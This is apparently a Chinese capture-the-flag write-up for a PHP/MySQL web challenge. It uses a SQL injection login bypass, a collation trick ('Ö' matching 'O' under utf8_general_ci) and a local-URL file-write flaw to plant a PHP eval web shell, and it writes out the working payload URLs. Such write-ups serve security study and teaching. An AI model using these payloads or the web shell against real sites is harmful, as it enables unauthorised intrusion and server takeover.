.viminfo
其实直接扫目录就能得到.viminfo,但是题目是这样出的:
访问index.php的头有X-HT: verify,HT当然就是hint啦,尝试在各种地方加入verify参数,最后通过GET提交verify=1有不同的回显。如果值超过四位提示太长,爆破1-4位无果,最终使用verify='=0%23
万能密码得到viminfo的提示
访问.viminfo得到提示5211ec9dde53ee65bb02225117fba1e1.php.backup~~~
mysql的UTF-8黑魔法
<?php
$con = mysql_connect('localhost','root','');
mysql_query("set names utf8");
mysql_select_db("ctf");
if($_SERVER["REMOTE_ADDR"]=='8.8.8.8'){
$name = addslashes($_GET['usern3me']);
}
else{
if(stripos($_GET['usern3me'],'Bctf2O16')!==false){
$name = 'FUCK';
}
else{
$name = addslashes($_GET['usern3me']);
}
}
echo 'hello '.$name;
$sql = "select * from admin where name='$name'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
echo '<br>next ***.php';
}
?>
很显然题目的意思是数据库中有name=Bctf2O16的记录,所以在php中过没有这个字符串的判断,在mysql中判断有这个字符串,即需要输入非 Bctf2O(大写O)16但进入数据库查询又当作是Bctf2O16的一个字符串。但是,mysql设置为UTF-8加上php处理GET参数的addslashes的函数,无法进行宽字节注入。这里用到了一个mysql的特性:
MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。 可以看到大写O和Ö是相等的
于是提交?usern3me=Bctf2Ö16,用浏览器访问,burp提交不成功,可能是因为burp的字符集是GBK吧。得到下一个文件:c3368f5eb5f8367fd548b228bee69ef2.php
getshell
<?php
if(isset($_GET['path']) && isset($_GET['filename'])){
$path = $_GET['path'];
$name = "upload/".$_GET['filename'];
}
else{
show_source(__FILE__);
exit();
}
if(strpos($name,'..') > -1){
echo 'WTF';
exit();
}
if(strpos($path,'http://127.0.0.1/') === 0){
file_put_contents($name,file_get_contents($path));
}
else{
echo 'path error';
}
?>
- 这里在filename处过滤了
..
又在前拼接上了upload/
字符串,无法跳出这个目录 - path要求了必须以
http://127.0.0.1/
开头,想到了刚才那个hello usern3me的地方
于是构造:
/c3368f5eb5f8367fd548b228bee69ef2.php?filename=1.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php @phpinfo();?>
访问/upload/1.php发现<?php
被截断。其实这里空格应该被url编码,而且应该是两次,因为usern3me这个参数实际上是经过两次url访问才传给处理的页面,第一次是我们通过浏览器的访问,第二次是讲path作为参数通过file_get_contents()访问。
所以构造:
/c3368f5eb5f8367fd548b228bee69ef2.php?filename=1.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520@phpinfo();?>
访问/upload/1.php发现打印phpinfo,构造木马,菜刀连接即可:
/c3368f5eb5f8367fd548b228bee69ef2.php?filename=1.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520eval($_POST[0]);?>